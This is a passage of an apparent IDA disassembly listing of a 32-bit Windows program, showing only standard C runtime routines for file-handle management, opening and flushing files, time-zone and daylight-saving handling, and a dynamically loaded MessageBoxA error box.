0Ch jmp short loc_41554B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41554B: ; CODE XREF: sub_415447+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41557C push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_4180CC ; MultiByteToWideChar cmp eax, ebx jz short loc_41557C push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_41801C ; GetStringTypeW jmp short loc_41557E ; --------------------------------------------------------------------------- loc_41557C: ; CODE XREF: sub_415447+61j ; sub_415447+9Bj ... xor eax, eax loc_41557E: ; CODE XREF: sub_415447+93j ; sub_415447+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_415447 endp ; =============== S U B R O U T I N E ======================================= sub_415590 proc near ; CODE XREF: sub_4157AA:loc_415922p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4830E0 loc_41559F: ; CODE XREF: sub_415590+48j mov eax, [ecx] test eax, eax jz short loc_4155DC lea edx, [eax+100h] loc_4155AB: ; CODE XREF: sub_415590+28j cmp eax, edx jnb short loc_4155CB test byte ptr [eax+4], 1 jz short loc_4155BA add eax, 8 jmp short loc_4155AB ; --------------------------------------------------------------------------- loc_4155BA: ; CODE XREF: sub_415590+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41561F loc_4155CB: ; CODE XREF: sub_415590+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4831E0 jl short loc_41559F jmp short loc_41561F ; --------------------------------------------------------------------------- loc_4155DC: ; CODE XREF: sub_415590+13j mov esi, 100h push esi call sub_40CCCF test eax, eax pop ecx jz short loc_41561F add dword_4831E0, 20h lea ecx, ds:4830E0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_415602: ; CODE XREF: sub_415590+88j cmp eax, edx jnb short loc_41561A and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_415602 ; --------------------------------------------------------------------------- loc_41561A: ; CODE XREF: sub_415590+74j shl edi, 5 mov ebx, edi loc_41561F: ; CODE XREF: sub_415590+39j ; sub_415590+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_415590 endp ; =============== S U B R O U T I N E ======================================= sub_415625 proc near ; CODE XREF: sub_4157AA+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4831E0 push edi jnb short loc_415685 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4830E0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_415685 cmp dword_41FC74, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41567B sub eax, 0 jz short loc_415672 dec eax jz short loc_41566D dec eax jnz short loc_41567B push ebx push 0FFFFFFF4h jmp short loc_415675 ; --------------------------------------------------------------------------- loc_41566D: ; CODE XREF: sub_415625+3Ej push ebx push 0FFFFFFF5h jmp short loc_415675 ; --------------------------------------------------------------------------- loc_415672: ; CODE XREF: sub_415625+3Bj push ebx push 0FFFFFFF6h loc_415675: ; CODE XREF: sub_415625+46j ; sub_415625+4Bj call dword_418018 ; SetStdHandle loc_41567B: ; CODE XREF: sub_415625+36j ; sub_415625+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_415699 ; --------------------------------------------------------------------------- loc_415685: ; CODE XREF: sub_415625+Cj ; sub_415625+28j and dword_481DC0, 0 mov dword_481DBC, 9 or eax, 0FFFFFFFFh loc_415699: ; CODE XREF: sub_415625+5Ej pop edi pop esi retn sub_415625 endp ; =============== S U B R O U T I N E ======================================= sub_41569C proc near ; CODE XREF: sub_412BBE+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4831E0 push edi jnb short loc_4156FF mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4830E0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_4156FF cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4156FF cmp dword_41FC74, 1 jnz short loc_4156F5 xor eax, eax sub ecx, eax jz short loc_4156EC dec ecx jz short loc_4156E7 dec ecx jnz short loc_4156F5 push eax push 0FFFFFFF4h jmp short loc_4156EF ; --------------------------------------------------------------------------- loc_4156E7: ; CODE XREF: sub_41569C+41j push eax push 0FFFFFFF5h jmp short loc_4156EF ; --------------------------------------------------------------------------- loc_4156EC: ; CODE XREF: sub_41569C+3Ej push eax push 0FFFFFFF6h loc_4156EF: ; CODE XREF: sub_41569C+49j ; sub_41569C+4Ej call dword_418018 ; SetStdHandle loc_4156F5: ; CODE XREF: sub_41569C+38j ; sub_41569C+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_415713 ; --------------------------------------------------------------------------- loc_4156FF: ; CODE XREF: sub_41569C+Cj ; sub_41569C+2Aj ... and dword_481DC0, 0 mov dword_481DBC, 9 or eax, 0FFFFFFFFh loc_415713: ; CODE XREF: sub_41569C+61j pop edi pop esi retn sub_41569C endp ; =============== S U B R O U T I N E ======================================= sub_415716 proc near ; CODE XREF: sub_412BBE+32p ; sub_412BBE+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4831E0 jnb short loc_41573E mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4830E0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41573E mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41573E: ; CODE XREF: sub_415716+Aj ; sub_415716+23j and dword_481DC0, 0 mov dword_481DBC, 9 or eax, 0FFFFFFFFh retn sub_415716 endp ; =============== S U B R O U T I N E ======================================= sub_415753 proc near ; CODE XREF: sub_412C9C+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4831E0 jnb short loc_41579C mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4830E0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41579C push eax call sub_415716 pop ecx push eax call dword_418014 ; FlushFileBuffers test eax, eax jnz short loc_415791 call dword_418044 ; RtlGetLastWin32Error jmp short loc_415793 ; --------------------------------------------------------------------------- loc_415791: ; CODE XREF: sub_415753+34j xor eax, eax loc_415793: ; CODE XREF: sub_415753+3Cj test eax, eax jz short locret_4157A9 mov dword_481DC0, eax loc_41579C: ; CODE XREF: sub_415753+Aj ; sub_415753+22j mov dword_481DBC, 9 or eax, 0FFFFFFFFh locret_4157A9: ; CODE XREF: sub_415753+42j retn sub_415753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157AA proc near ; CODE XREF: sub_413078+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_4157D0 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_4157DB ; --------------------------------------------------------------------------- loc_4157D0: ; CODE XREF: sub_4157AA+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_4157DB: ; CODE XREF: sub_4157AA+24j mov eax, 8000h test ecx, eax jnz short loc_4157F5 test ch, 40h jnz short loc_4157F1 cmp dword_4820A4, eax jz short loc_4157F5 loc_4157F1: ; CODE XREF: sub_4157AA+3Dj or [ebp+var_1], 80h loc_4157F5: ; CODE XREF: sub_4157AA+38j ; sub_4157AA+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41582D dec eax jz short loc_415824 dec eax jz short loc_41581B loc_415806: ; CODE XREF: sub_4157AA+9Fj ; sub_4157AA+E8j ... mov dword_481DBC, 16h mov dword_481DC0, ebx jmp loc_415A40 ; --------------------------------------------------------------------------- loc_41581B: ; CODE XREF: sub_4157AA+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_415834 ; --------------------------------------------------------------------------- loc_415824: ; CODE XREF: sub_4157AA+57j mov [ebp+var_C], 40000000h jmp short loc_415834 ; --------------------------------------------------------------------------- loc_41582D: ; CODE XREF: sub_4157AA+54j mov [ebp+var_C], 80000000h loc_415834: ; CODE XREF: sub_4157AA+78j ; sub_4157AA+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_415862 cmp eax, 20h jz short loc_415859 cmp eax, 30h jz short loc_415850 cmp eax, 40h jnz short loc_415806 mov [ebp+var_10], esi jmp short loc_415865 ; --------------------------------------------------------------------------- loc_415850: ; CODE XREF: sub_4157AA+9Aj mov [ebp+var_10], 2 jmp short loc_415865 ; --------------------------------------------------------------------------- loc_415859: ; CODE XREF: sub_4157AA+95j mov [ebp+var_10], 1 jmp short loc_415865 ; --------------------------------------------------------------------------- loc_415862: ; CODE XREF: sub_4157AA+90j mov [ebp+var_10], ebx loc_415865: ; CODE XREF: sub_4157AA+A4j ; sub_4157AA+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_4158AF jz short loc_4158AA cmp ecx, ebx jz short loc_4158AA cmp ecx, edi jz short loc_4158A1 cmp ecx, 200h jz short loc_4158C8 cmp ecx, 300h jnz loc_415806 mov [ebp+var_8], 2 jmp short loc_4158D8 ; --------------------------------------------------------------------------- loc_4158A1: ; CODE XREF: sub_4157AA+D8j mov [ebp+var_8], 4 jmp short loc_4158D8 ; --------------------------------------------------------------------------- loc_4158AA: ; CODE XREF: sub_4157AA+D0j ; sub_4157AA+D4j mov [ebp+var_8], esi jmp short loc_4158D8 ; --------------------------------------------------------------------------- loc_4158AF: ; CODE XREF: sub_4157AA+CEj cmp ecx, 500h jz short loc_4158D1 cmp ecx, 600h jz short loc_4158C8 cmp ecx, edx jz short loc_4158D1 jmp loc_415806 ; --------------------------------------------------------------------------- loc_4158C8: ; CODE XREF: sub_4157AA+E0j ; sub_4157AA+113j mov [ebp+var_8], 5 jmp short loc_4158D8 ; --------------------------------------------------------------------------- loc_4158D1: ; CODE XREF: sub_4157AA+10Bj ; sub_4157AA+117j mov [ebp+var_8], 1 loc_4158D8: ; CODE XREF: sub_4157AA+F5j ; sub_4157AA+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_4158F7 mov ecx, dword_481DC4 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_4158F7 push 1 pop esi loc_4158F7: ; CODE XREF: sub_4157AA+138j ; sub_4157AA+148j test al, 40h jz short loc_415905 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_415905: ; CODE XREF: sub_4157AA+14Fj test ah, 10h jz short loc_41590C or esi, edi loc_41590C: ; CODE XREF: sub_4157AA+15Ej test al, 20h jz short loc_415918 or esi, 8000000h jmp short loc_415922 ; --------------------------------------------------------------------------- loc_415918: ; CODE XREF: sub_4157AA+164j test al, 10h jz short loc_415922 or esi, 10000000h loc_415922: ; CODE XREF: sub_4157AA+16Cj ; sub_4157AA+170j call sub_415590 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_415943 and dword_481DC0, 0 mov dword_481DBC, 18h jmp short loc_415981 ; --------------------------------------------------------------------------- loc_415943: ; CODE XREF: sub_4157AA+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_418084 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_415974 push esi call dword_418030 ; GetFileType test eax, eax jnz short loc_415988 push esi call dword_41807C ; CloseHandle loc_415974: ; CODE XREF: sub_4157AA+1B6j call dword_418044 ; RtlGetLastWin32Error push eax call sub_413260 pop ecx loc_415981: ; CODE XREF: sub_4157AA+197j mov eax, edi jmp loc_415A5E ; --------------------------------------------------------------------------- loc_415988: ; CODE XREF: sub_4157AA+1C1j cmp eax, 2 jnz short loc_415993 or [ebp+var_1], 40h jmp short loc_41599C ; --------------------------------------------------------------------------- loc_415993: ; CODE XREF: sub_4157AA+1E1j cmp eax, 3 jnz short loc_41599C or [ebp+var_1], 8 loc_41599C: ; CODE XREF: sub_4157AA+1E7j ; sub_4157AA+1ECj push esi push ebx call sub_415625 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4830E0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_415A45 test al, 80h jz short loc_415A45 test byte ptr [ebp+arg_4], 2 jz short loc_415A45 push 2 push 0FFFFFFFFh push ebx call sub_413BAD add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_4159FA cmp dword_481DC0, 83h jz short loc_415A45 jmp short loc_415A39 ; --------------------------------------------------------------------------- loc_4159FA: ; CODE XREF: sub_4157AA+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_412E82 add esp, 0Ch test eax, eax jnz short loc_415A27 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_415A27 push [ebp+var_10] push ebx call sub_416C0D pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_415A39 loc_415A27: ; CODE XREF: sub_4157AA+265j ; sub_4157AA+26Bj push 0 push 0 push ebx call sub_413BAD add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_415A45 loc_415A39: ; CODE XREF: sub_4157AA+24Ej ; sub_4157AA+27Bj push ebx call sub_412BBE pop ecx loc_415A40: ; CODE XREF: sub_4157AA+6Cj or eax, 0FFFFFFFFh jmp short loc_415A5E ; --------------------------------------------------------------------------- loc_415A45: ; CODE XREF: sub_4157AA+221j ; sub_4157AA+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_415A5C test byte ptr [ebp+arg_4], 8 jz short loc_415A5C mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_415A5C: ; CODE XREF: sub_4157AA+29Fj ; sub_4157AA+2A5j mov eax, ebx loc_415A5E: ; CODE XREF: sub_4157AA+1D9j ; sub_4157AA+299j pop edi pop esi pop ebx leave retn sub_4157AA endp ; =============== S U B R O U T I N E ======================================= sub_415A63 proc near ; CODE XREF: sub_413393:loc_4133D2p cmp dword_482080, 0 jnz short locret_415A77 call sub_415A78 inc dword_482080 locret_415A77: ; CODE XREF: sub_415A63+7j retn sub_415A63 endp ; =============== S U B R O U T I N E ======================================= sub_415A78 proc near ; CODE XREF: sub_415A63+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_481FC8, ebp mov dword_4226F0, ebx mov dword_4226E0, ebx call sub_416D53 mov esi, eax pop ecx cmp esi, ebp jnz loc_415BA1 push offset dword_481FD0 call dword_418120 ; GetTimeZoneInformation cmp eax, ebx jz loc_415CD0 mov eax, dword_481FD0 mov ecx, dword_482024 imul eax, 3Ch cmp word_482016, bp push 1 pop edx mov dword_422648, eax mov dword_481FC8, edx jz short loc_415AEF mov esi, ecx imul esi, 3Ch add eax, esi mov dword_422648, eax loc_415AEF: ; CODE XREF: sub_415A78+69j cmp word_48206A, bp jz short loc_415B13 mov eax, dword_482078 cmp eax, ebp jz short loc_415B13 sub eax, ecx mov dword_42264C, edx imul eax, 3Ch mov dword_422650, eax jmp short loc_415B1F ; --------------------------------------------------------------------------- loc_415B13: ; CODE XREF: sub_415A78+7Ej ; sub_415A78+87j mov dword_42264C, ebp mov dword_422650, ebp loc_415B1F: ; CODE XREF: sub_415A78+99j lea eax, [esp+14h+var_4] mov esi, dword_4180C8 push eax push ebp push 3Fh mov edi, 220h push off_4226D4 push ebx push offset dword_481FD4 push edi push dword_481E5C call esi ; WideCharToMultiByte test eax, eax jz short loc_415B5C cmp [esp+14h+var_4], ebp jnz short loc_415B5C mov eax, off_4226D4 and byte ptr [eax+3Fh], 0 jmp short loc_415B64 ; --------------------------------------------------------------------------- loc_415B5C: ; CODE XREF: sub_415A78+D1j ; sub_415A78+D7j mov eax, off_4226D4 and byte ptr [eax], 0 loc_415B64: ; CODE XREF: sub_415A78+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_4226D8 push ebx push offset dword_482028 push edi push dword_481E5C call esi ; WideCharToMultiByte test eax, eax jz loc_415CC8 cmp [esp+14h+var_4], ebp jnz loc_415CC8 mov eax, off_4226D8 and byte ptr [eax+3Fh], 0 jmp loc_415CD0 ; --------------------------------------------------------------------------- loc_415BA1: ; CODE XREF: sub_415A78+2Dj cmp byte ptr [esi], 0 jz loc_415CD0 mov eax, dword_48207C cmp eax, ebp jz short loc_415BC4 push eax push esi call sub_40D860 pop ecx test eax, eax pop ecx jz loc_415CD0 loc_415BC4: ; CODE XREF: sub_415A78+139j push dword_48207C call sub_40CD81 push esi call sub_40CBC0 inc eax push eax call sub_40CCCF add esp, 0Ch cmp eax, ebp mov dword_48207C, eax jz loc_415CD0 push esi push eax call sub_40E3C0 push 3 push esi push off_4226D4 call sub_40C720 mov eax, off_4226D4 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_415C19 push 1 inc esi pop edi loc_415C19: ; CODE XREF: sub_415A78+19Bj push esi call sub_40D934 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_422648, ecx loc_415C30: ; CODE XREF: sub_415A78+1C7j mov al, [esi] cmp al, 2Bh jz short loc_415C3E cmp al, bl jl short loc_415C41 cmp al, 39h jg short loc_415C41 loc_415C3E: ; CODE XREF: sub_415A78+1BCj inc esi jmp short loc_415C30 ; --------------------------------------------------------------------------- loc_415C41: ; CODE XREF: sub_415A78+1C0j ; sub_415A78+1C4j cmp byte ptr [esi], 3Ah jnz short loc_415C94 inc esi push esi call sub_40D934 imul eax, 3Ch pop ecx mov ecx, dword_422648 add ecx, eax mov dword_422648, ecx loc_415C5F: ; CODE XREF: sub_415A78+1F2j mov al, [esi] cmp al, bl jl short loc_415C6C cmp al, 39h jg short loc_415C6C inc esi jmp short loc_415C5F ; --------------------------------------------------------------------------- loc_415C6C: ; CODE XREF: sub_415A78+1EBj ; sub_415A78+1EFj cmp byte ptr [esi], 3Ah jnz short loc_415C94 inc esi push esi call sub_40D934 pop ecx mov ecx, dword_422648 add ecx, eax mov dword_422648, ecx loc_415C87: ; CODE XREF: sub_415A78+21Aj mov al, [esi] cmp al, bl jl short loc_415C94 cmp al, 39h jg short loc_415C94 inc esi jmp short loc_415C87 ; --------------------------------------------------------------------------- loc_415C94: ; CODE XREF: sub_415A78+1CCj ; sub_415A78+1F7j ... cmp edi, ebp jz short loc_415CA0 neg ecx mov dword_422648, ecx loc_415CA0: ; CODE XREF: sub_415A78+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_42264C, eax jz short loc_415CC8 push 3 push esi push off_4226D8 call sub_40C720 mov eax, off_4226D8 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_415CD0 ; --------------------------------------------------------------------------- loc_415CC8: ; CODE XREF: sub_415A78+10Bj ; sub_415A78+115j ... mov eax, off_4226D8 and byte ptr [eax], 0 loc_415CD0: ; CODE XREF: sub_415A78+40j ; sub_415A78+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_415A78 endp ; =============== S U B R O U T I N E ======================================= sub_415CD6 proc near ; CODE XREF: sub_413393+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_42264C, edi jnz short loc_415CEA loc_415CE3: ; CODE XREF: sub_415CD6+148j ; sub_415CD6+150j ... xor eax, eax jmp loc_415E36 ; --------------------------------------------------------------------------- loc_415CEA: ; CODE XREF: sub_415CD6+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_4226E0 jnz short loc_415D08 cmp eax, dword_4226F0 jz loc_415E0A loc_415D08: ; CODE XREF: sub_415CD6+24j cmp dword_481FC8, edi jz loc_415DE0 movzx ecx, word_482076 push ecx cmp word_482068, di movzx ecx, word_482074 push ecx movzx ecx, word_482072 push ecx movzx ecx, word_482070 push ecx jnz short loc_415D5A movzx ecx, word_48206C push edi push ecx movzx ecx, word_48206E push ecx movzx ecx, word_48206A push ecx push eax push ebx jmp short loc_415D6E ; --------------------------------------------------------------------------- loc_415D5A: ; CODE XREF: sub_415CD6+65j movzx ecx, word_48206E push ecx push edi movzx ecx, word_48206A push edi push ecx push eax push edi loc_415D6E: ; CODE XREF: sub_415CD6+82j push ebx call sub_415E82 movzx eax, word_482022 add esp, 2Ch cmp word_482014, di push eax movzx eax, word_482020 push eax movzx eax, word_48201E push eax movzx eax, word_48201C push eax jnz short loc_415DC8 movzx eax, word_482018 push edi push eax movzx eax, word_48201A push eax movzx eax, word_482016 push eax push dword ptr [esi+14h] push ebx loc_415DBD: ; CODE XREF: sub_415CD6+108j push edi call sub_415E82 add esp, 2Ch jmp short loc_415E0A ; --------------------------------------------------------------------------- loc_415DC8: ; CODE XREF: sub_415CD6+C8j movzx eax, word_48201A push eax push edi movzx eax, word_482016 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_415DBD ; --------------------------------------------------------------------------- loc_415DE0: ; CODE XREF: sub_415CD6+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_415E82 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_415E82 add esp, 58h loc_415E0A: ; CODE XREF: sub_415CD6+2Cj ; sub_415CD6+F0j mov edx, dword_4226E4 mov eax, dword_4226F4 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_415E3A cmp ecx, edx jl loc_415CE3 cmp ecx, eax jg loc_415CE3 cmp ecx, edx jle short loc_415E4E cmp ecx, eax jge short loc_415E4E loc_415E34: ; CODE XREF: sub_415CD6+166j ; sub_415CD6+16Aj mov eax, ebx loc_415E36: ; CODE XREF: sub_415CD6+Fj ; sub_415CD6+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_415E3A: ; CODE XREF: sub_415CD6+144j cmp ecx, eax jl short loc_415E34 cmp ecx, edx jg short loc_415E34 cmp ecx, eax jle short loc_415E4E cmp ecx, edx jl loc_415CE3 loc_415E4E: ; CODE XREF: sub_415CD6+158j ; sub_415CD6+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_415E75 xor ecx, ecx cmp eax, dword_4226E8 setnl cl loc_415E71: ; CODE XREF: sub_415CD6+1AAj mov eax, ecx jmp short loc_415E36 ; --------------------------------------------------------------------------- loc_415E75: ; CODE XREF: sub_415CD6+18Ej xor ecx, ecx cmp eax, dword_4226F8 setl cl jmp short loc_415E71 sub_415CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E82 proc near ; CODE XREF: sub_415CD6+99p ; sub_415CD6+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_415F1D mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_415EAD shl esi, 2 mov eax, dword_4226F8[esi] jmp short loc_415EB6 ; --------------------------------------------------------------------------- loc_415EAD: ; CODE XREF: sub_415E82+1Ej shl esi, 2 mov eax, dword_42272C[esi] loc_415EB6: ; CODE XREF: sub_415E82+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_415EF0 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_415EFA ; --------------------------------------------------------------------------- loc_415EF0: ; CODE XREF: sub_415E82+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_415EFA: ; CODE XREF: sub_415E82+6Cj cmp [ebp+arg_10], 5 jnz short loc_415F38 cmp [ebp+arg_8], 0 jnz short loc_415F0E mov esi, dword_4226FC[esi] jmp short loc_415F14 ; --------------------------------------------------------------------------- loc_415F0E: ; CODE XREF: sub_415E82+82j mov esi, dword_422730[esi] loc_415F14: ; CODE XREF: sub_415E82+8Aj cmp ecx, esi jle short loc_415F38 sub ecx, 7 jmp short loc_415F38 ; --------------------------------------------------------------------------- loc_415F1D: ; CODE XREF: sub_415E82+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_415F2E mov ecx, dword_4226F8[eax*4] jmp short loc_415F35 ; --------------------------------------------------------------------------- loc_415F2E: ; CODE XREF: sub_415E82+A1j mov ecx, dword_42272C[eax*4] loc_415F35: ; CODE XREF: sub_415E82+AAj add ecx, [ebp+arg_18] loc_415F38: ; CODE XREF: sub_415E82+7Cj ; sub_415E82+94j ... cmp [ebp+arg_0], 1 jnz short loc_415F69 mov eax, [ebp+arg_1C] mov dword_4226E4, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_4226E0, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4226E8, eax jmp short loc_415FBE ; --------------------------------------------------------------------------- loc_415F69: ; CODE XREF: sub_415E82+BAj mov eax, [ebp+arg_1C] mov dword_4226F4, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_422650 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4226F8, eax jns short loc_415FA1 add eax, 5265C00h dec ecx mov dword_4226F8, eax jmp short loc_415FB2 ; --------------------------------------------------------------------------- loc_415FA1: ; CODE XREF: sub_415E82+110j mov edx, 5265C00h cmp eax, edx jl short loc_415FB8 sub eax, edx inc ecx mov dword_4226F8, eax loc_415FB2: ; CODE XREF: sub_415E82+11Dj mov dword_4226F4, ecx loc_415FB8: ; CODE XREF: sub_415E82+126j mov dword_4226F0, ebx loc_415FBE: ; CODE XREF: sub_415E82+E5j pop esi pop ebx pop ebp retn sub_415E82 endp ; =============== S U B R O U T I N E ======================================= sub_415FC2 proc near ; CODE XREF: sub_413F23+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_415FD3 add esp, 0Ch retn sub_415FC2 endp ; =============== S U B R O U T I N E ======================================= sub_415FD3 proc near ; CODE XREF: sub_415FC2+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_483301[eax], cl jnz short loc_416000 cmp [esp+arg_4], 0 jz short loc_415FF9 movzx eax, word_421E02[eax*2] and eax, [esp+arg_4] jmp short loc_415FFB ; --------------------------------------------------------------------------- loc_415FF9: ; CODE XREF: sub_415FD3+16j xor eax, eax loc_415FFB: ; CODE XREF: sub_415FD3+24j test eax, eax jnz short loc_416000 retn ; --------------------------------------------------------------------------- loc_416000: ; CODE XREF: sub_415FD3+Fj ; sub_415FD3+2Aj push 1 pop eax retn sub_415FD3 endp ; =============== S U B R O U T I N E ======================================= sub_416004 proc near ; CODE XREF: sub_414679+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_482084, ebx push esi push edi jnz short loc_416053 push offset aUser32_dll ; "user32.dll" call dword_41808C ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_416089 mov esi, dword_418090 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_482084, eax jz short loc_416089 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_482088, eax call esi ; GetProcAddress mov dword_48208C, eax loc_416053: ; CODE XREF: sub_416004+Bj mov eax, dword_482088 test eax, eax jz short loc_416072 call eax mov ebx, eax test ebx, ebx jz short loc_416072 mov eax, dword_48208C test eax, eax jz short loc_416072 push ebx call eax mov ebx, eax loc_416072: ; CODE XREF: sub_416004+56j ; sub_416004+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_482084 loc_416085: ; CODE XREF: sub_416004+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_416089: ; CODE XREF: sub_416004+1Cj ; sub_416004+33j xor eax, eax jmp short loc_416085 sub_416004 endp ; =============== S U B 